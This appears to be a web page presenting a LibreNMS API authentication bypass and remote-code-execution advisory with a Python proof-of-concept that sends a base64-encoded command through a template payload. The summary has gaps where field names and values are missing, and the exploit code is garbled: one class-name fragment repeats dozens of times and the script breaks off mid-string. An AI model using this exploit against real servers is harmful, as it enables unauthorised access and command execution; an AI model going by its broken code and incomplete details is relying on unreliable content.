LibreNMS API Auth Bypass & RCE via Type Confusion

LibreNMS API Authentication Bypass Vulnerability Summary Vulnerability Overview Vulnerability Name: Unauthenticated API Access (API Auth Bypass) in LibreNMS 26.7.0 via API Token Type Confusion Severity: Critical (CVSS 9.2/10) Vulnerability Type: Authentication Bypass / Type Confusion Root Cause: The API authentication relies on the field, which is of numeric type in the database. An attacker does not need to guess the 32-character hexadecimal token; they only need to send a numeric value (e.g., ). Since MySQL performs type conversion when comparing a text column with a number, a large number of token hash values will match, thereby bypassing authentication. Affected Versions Affected Versions: ≤ 26.7.0 Fixed Version: 26.8.0 Impact: - Attackers can access the REST API ( ) without credentials, allowing them to read sensitive data such as devices, SNMP configurations, community strings, and private keys. - If the matched token belongs to an administrator, attackers can achieve RCE (Remote Code Execution) by leveraging the Laravel template functionality ( ). Fix Upgrade to 26.8.0 or later Temporary mitigation: Disable API access or restrict API group permissions POC / Exploitation Code 1. Authentication Bypass (Numeric Token Guessing) 2. From Admin Token to RCE (Leveraging Template Functionality) ```python #!/usr/bin/env python3 import sys, json, base64, urllib.request, urllib.error BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080").rstrip("/") CMD = sys.argv[2] if len(sys.argv) > 2 else "id" b64 = base64.b64encode(CMD.encode()).decode() template = f"{{%php $new=new \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\

Goal Reached Thanks to every supporter — we hit 100%!

LibreNMS API Auth Bypass & RCE via Type Confusion

More from this source